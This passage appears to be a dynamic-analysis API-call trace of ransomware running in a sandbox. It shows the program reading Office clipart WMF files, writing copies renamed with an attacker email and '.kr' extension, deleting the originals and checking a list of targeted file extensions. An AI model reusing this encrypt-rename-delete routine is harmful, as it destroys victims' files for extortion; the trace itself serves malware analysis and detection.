[0109.026] SetEndOfFile (hFile=0x328) returned 1 [0109.026] CloseHandle (hObject=0x328) returned 1 [0109.028] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.028] SetEndOfFile (hFile=0x374) returned 1 [0109.030] CloseHandle (hObject=0x374) returned 1 [0109.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.031] lstrlenW (lpString=".doc") returned 4 [0109.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.031] lstrlenW (lpString=".docx") returned 5 [0109.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.031] lstrlenW (lpString=".pdf") returned 4 [0109.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.031] lstrlenW (lpString=".xls") returned 4 [0109.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.031] lstrlenW (lpString=".xlsx") returned 5 [0109.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.031] lstrlenW (lpString=".ppt") returned 4 [0109.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.031] lstrlenW (lpString=".zip") returned 4 [0109.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.031] lstrlenW (lpString=".rar") returned 4 [0109.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString=".bz2") returned 4 [0109.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString=".7z") returned 3 [0109.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.032] lstrlenW (lpString=".dbf") returned 4 [0109.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.032] lstrlenW (lpString=".1cd") returned 4 [0109.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.032] lstrlenW (lpString=".jpg") returned 4 [0109.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.032] lstrlenW (lpString=".doc") returned 4 [0109.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString=".docx") returned 5 [0109.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.032] lstrlenW (lpString=".pdf") returned 4 [0109.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.032] lstrlenW (lpString=".xls") returned 4 [0109.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.032] lstrlenW (lpString=".xlsx") returned 5 [0109.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.032] lstrlenW (lpString=".ppt") returned 4 [0109.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.033] lstrlenW (lpString=".zip") returned 4 [0109.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.033] lstrlenW (lpString=".rar") returned 4 [0109.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.033] lstrlenW (lpString=".bz2") returned 4 [0109.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.033] lstrlenW (lpString=".7z") returned 3 [0109.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.033] lstrlenW (lpString=".dbf") returned 4 [0109.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.033] lstrlenW (lpString=".1cd") returned 4 [0109.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0109.033] lstrlenW (lpString=".jpg") returned 4 [0109.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.033] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.033] lstrlenW (lpString="BD06200_.WMF") returned 12 [0109.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.034] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16676) returned 1 [0109.034] CloseHandle (hObject=0x374) returned 1 [0109.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0109.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.034] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.035] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0109.035] GetLastError () returned 0x0 [0109.035] ReadFile (in: hFile=0x374, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4124, lpOverlapped=0x0) returned 1 [0109.037] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4130, lpOverlapped=0x0) returned 1 [0109.038] ReadFile (in: hFile=0x374, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0109.038] WriteFile (in: hFile=0x328, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0109.039] SetEndOfFile (hFile=0x328) returned 1 [0109.039] CloseHandle (hObject=0x328) returned 1 [0109.040] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.040] SetEndOfFile (hFile=0x374) returned 1 [0109.056] CloseHandle (hObject=0x374) returned 1 [0109.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0109.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.056] lstrlenW (lpString=".doc") returned 4 [0109.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString=".docx") returned 5 [0109.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.057] lstrlenW (lpString=".pdf") returned 4 [0109.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString=".xls") returned 4 [0109.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.057] lstrlenW (lpString=".xlsx") returned 5 [0109.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.057] lstrlenW (lpString=".ppt") returned 4 [0109.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.057] lstrlenW (lpString=".zip") returned 4 [0109.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.057] lstrlenW (lpString=".rar") returned 4 [0109.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString=".bz2") returned 4 [0109.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString=".7z") returned 3 [0109.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.057] lstrlenW (lpString=".dbf") returned 4 [0109.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.057] lstrlenW (lpString=".1cd") returned 4 [0109.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.057] lstrlenW (lpString=".jpg") returned 4 [0109.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.058] lstrlenW (lpString=".doc") returned 4 [0109.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString=".docx") returned 5 [0109.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.058] lstrlenW (lpString=".pdf") returned 4 [0109.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString=".xls") returned 4 [0109.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.058] lstrlenW (lpString=".xlsx") returned 5 [0109.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.058] lstrlenW (lpString=".ppt") returned 4 [0109.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.058] lstrlenW (lpString=".zip") returned 4 [0109.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.058] lstrlenW (lpString=".rar") returned 4 [0109.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString=".bz2") returned 4 [0109.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.058] lstrlenW (lpString=".7z") returned 3 [0109.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.059] lstrlenW (lpString=".dbf") returned 4 [0109.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.059] lstrlenW (lpString=".1cd") returned 4 [0109.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0109.059] lstrlenW (lpString=".jpg") returned 4 [0109.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.059] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.059] lstrlenW (lpString="BD07761_.WMF") returned 12 [0109.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.670] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=26748) returned 1 [0109.670] CloseHandle (hObject=0x360) returned 1 [0109.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0109.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.670] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.670] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0109.671] GetLastError () returned 0x0 [0109.671] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x687c, lpOverlapped=0x0) returned 1 [0109.673] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x6880, lpOverlapped=0x0) returned 1 [0109.674] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0109.674] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0109.675] SetEndOfFile (hFile=0x36c) returned 1 [0109.675] CloseHandle (hObject=0x36c) returned 1 [0109.676] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.676] SetEndOfFile (hFile=0x360) returned 1 [0109.677] CloseHandle (hObject=0x360) returned 1 [0109.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.678] lstrlenW (lpString=".doc") returned 4 [0109.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.678] lstrlenW (lpString=".docx") returned 5 [0109.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.679] lstrlenW (lpString=".pdf") returned 4 [0109.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString=".xls") returned 4 [0109.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.679] lstrlenW (lpString=".xlsx") returned 5 [0109.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.679] lstrlenW (lpString=".ppt") returned 4 [0109.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.679] lstrlenW (lpString=".zip") returned 4 [0109.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.679] lstrlenW (lpString=".rar") returned 4 [0109.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString=".bz2") returned 4 [0109.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString=".7z") returned 3 [0109.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.679] lstrlenW (lpString=".dbf") returned 4 [0109.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.679] lstrlenW (lpString=".1cd") returned 4 [0109.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.679] lstrlenW (lpString=".jpg") returned 4 [0109.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.680] lstrlenW (lpString=".doc") returned 4 [0109.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString=".docx") returned 5 [0109.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.680] lstrlenW (lpString=".pdf") returned 4 [0109.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString=".xls") returned 4 [0109.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.680] lstrlenW (lpString=".xlsx") returned 5 [0109.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.680] lstrlenW (lpString=".ppt") returned 4 [0109.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.680] lstrlenW (lpString=".zip") returned 4 [0109.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.680] lstrlenW (lpString=".rar") returned 4 [0109.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString=".bz2") returned 4 [0109.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString=".7z") returned 3 [0109.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.680] lstrlenW (lpString=".dbf") returned 4 [0109.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.680] lstrlenW (lpString=".1cd") returned 4 [0109.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0109.681] lstrlenW (lpString=".jpg") returned 4 [0109.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.681] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.681] lstrlenW (lpString="BD08868_.WMF") returned 12 [0109.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.682] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=40206) returned 1 [0109.682] CloseHandle (hObject=0x360) returned 1 [0109.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0109.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.683] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.683] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0109.683] GetLastError () returned 0x0 [0109.683] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0109.686] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x9d10, lpOverlapped=0x0) returned 1 [0109.687] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0109.688] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0109.688] SetEndOfFile (hFile=0x36c) returned 1 [0109.688] CloseHandle (hObject=0x36c) returned 1 [0109.690] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.690] SetEndOfFile (hFile=0x360) returned 1 [0109.691] CloseHandle (hObject=0x360) returned 1 [0109.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.692] DeleteFileW 